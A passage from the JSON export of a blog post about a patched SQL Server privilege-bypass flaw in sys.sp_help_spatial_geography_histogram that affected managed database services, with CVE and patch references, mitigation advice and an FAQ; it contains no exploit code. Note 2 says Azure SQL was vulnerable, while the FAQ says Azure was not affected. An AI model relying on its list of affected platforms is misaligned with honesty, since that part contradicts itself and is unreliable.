standard users on <strong>AWS RDS, GCP CloudSQL, and Alibaba ApsaraDB<\/strong> to access system tables and decrypt vendor-protected procedures.<br><\/li>\n\n\n\n<li>The exploit relied on a dynamic SQL flaw in the system stored procedure <strong><code>sys.sp_help_spatial_geography_histogram<\/code><\/strong>.<br><\/li>\n\n\n\n<li>Only users with standard privileges could trigger the exploit \u2014 no sysadmin access was required.<br><\/li>\n\n\n\n<li>The issue was patched in <strong>SQL Server 2022 CU20 (KB5063814)<\/strong>; all managed DBaaS providers applied vendor-specific mitigations.<br><\/li>\n\n\n\n<li>DBaaS users should <strong>monitor vendor security bulletins<\/strong>, <strong>enforce least privilege<\/strong>, and <strong>apply patches promptly<\/strong> to prevent similar attacks.<\/li>\n<\/ul>\n<\/div>\n\n\n<p><em><strong>Note 1:<\/strong> This specific vulnerability in <strong><code>sys.sp_help_spatial_geography_histogram<\/code><\/strong> was already <strong>fixed<\/strong> by Microsoft. This vulnerability led to <strong>CVE-2025-47954<\/strong> and <strong>CVE-2025-53727<\/strong> and the fix was released on <a href=\"https:\/\/support.microsoft.com\/en-us\/topic\/kb5063814-description-of-the-security-update-for-sql-server-2022-cu20-august-12-2025-8744624f-a95c-4902-a191-5a25079d7f37\" target=\"_blank\" rel=\"noreferrer noopener\">KB5063814<\/a>, a security update for SQL Server 2022 CU20.<\/em><\/p>\n\n\n\n<p><em><strong>Note 2:<\/strong> Azure SQL database was also vulnerable, but, once I reported it, Microsoft was very quick to fix it and since there is no option to setup an instance using an old version of SQL, this vulnerability is not exploitable anymore.<\/em><\/p>\n\n\n\n<section id=\"faq\" class=\"faq-block my-5xl\">\n    <h2>FAQs: SQL Server DBaaS Vulnerability<\/h2>\n\n                        <h3 class=\"mt-4xl\">1. Which platforms were affected by this vulnerability?<\/h3>\n            <div class=\"faq-answer\">\n                <p>The vulnerability impacted\u00a0<strong>AWS RDS for SQL Server, GCP CloudSQL for SQL Server, and Alibaba ApsaraDB RDS for SQL Server<\/strong>. Azure SQL Database was\u00a0<strong>not affected<\/strong>.<\/p>\n            <\/div>\n                    <h3 class=\"mt-4xl\">2. What part of SQL Server was exploited?<\/h3>\n            <div class=\"faq-answer\">\n                <p>The exploit targeted the system stored procedure <code>sys.sp_help_spatial_geography_histogram<\/code>, which allowed standard users to execute dynamic SQL and access internal system tables.<\/p>\n            <\/div>\n                    <h3 class=\"mt-4xl\">3. Could attackers escalate privileges to sysadmin?<\/h3>\n            <div class=\"faq-answer\">\n                <p>No \u2013 the vulnerability allowed access to system tables and decryption of procedures but did\u00a0<strong>not grant full sysadmin privileges<\/strong>.<\/p>\n            <\/div>\n                    <h3 class=\"mt-4xl\">4. How can users mitigate this SQL Server vulnerability?<\/h3>\n            <div class=\"faq-answer\">\n                <p>Apply the\u00a0<strong>SQL Server 2022 CU20 (KB5063814) patch<\/strong>\u00a0and follow vendor-specific updates. Enforce least privilege, monitor unusual activity, and review access to sensitive tables.<\/p>\n            <\/div>\n                    <h3 class=\"mt-4xl\">5. Are there other risks for DBaaS users?<\/h3>\n            <div class=\"faq-answer\">\n                <p>Similar risks exist whenever system stored procedures expose dynamic SQL. Regular patching, monitoring, and careful privilege assignment reduce risk across DBaaS platforms.<\/p>\n            <\/div>\n                    <h3 class=\"mt-4xl\">6. Is this vulnerability relevant for on-premises SQL Server?<\/h3>\n            <div class=\"faq-answer\">\n                <p>Only\u00a0<strong>SQL Server 2022 instances using the affected stored procedure<\/strong>\u00a0are vulnerable. Standard on-premises versions not running the specific procedure or older versions may not be affected.<\/p>\n            <\/div>\n            <\/section>\n","protected":false},"excerpt":{"rendered":"<p>A SQL Server DBaaS privilege bypass exposed system tables and vendor-protected code on AWS, GCP, and Alibaba. This explains the attack and mitigation.&hellip;<\/p>\n","protected":false},"author":65554,"featured_media":107802,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_acf_changed":false,"footnotes":""},"categories":[10,143530,46,143524],"tags":[4619,5765,4150,4151],"coauthors":[6809],"class_list":["post-107800","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-cloud","category-security","category-security-and-compliance","category-sql-server","tag-security","tag-security-and-compliance","tag-sql","tag-sql-server"],"acf":[],"_links":{"self":[{"href":"https:\/\/www.red-gate.com\/simple-talk\/wp-json\/wp\/v2\/posts\/107800","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.red-gate.com\/simple-talk\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.red-gate.com\/simple-talk\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.red-gate.com\/simple-talk\/wp-json\/wp\/v2\/users\/65554"}],"replies":[{"embeddable":true,"href":"https:\/\/www.red-gate.com\/simple-talk\/wp-json\/wp\/v2\/comments?post=107800"}],"version-history":[{"count":5,"href":"https:\/\/www.red-gate.com\/simple-talk\/wp-json\/wp\/v2\/posts\/107800\/revisions"}],"predecessor-version":[{"id":107972,"href":"https:\/\/www.red-gate.com\/simple-talk\/wp-json\/wp\/v2\/posts\/107800\/revisions\/107972"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.red-gate.com\/simple-talk\/wp-json\/wp\/v2\/media\/107802"}],"wp:attachment":[{"href":"https:\/\/www.red-gate.com\/simple-talk\/wp-json\/wp\/v2\/media?parent=107800"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.red-gate.com\/simple-talk\/wp-json\/wp\/v2\/categories?post=107800"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.red-gate.com\/simple-talk\/wp-json\/wp\/v2\/tags?post=107800"},{"taxonomy":"author","embeddable":true,"href":"https:\/\/www.red-gate.com\/simple-talk\/wp-json\/wp\/v2\/coauthors?post=107800"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}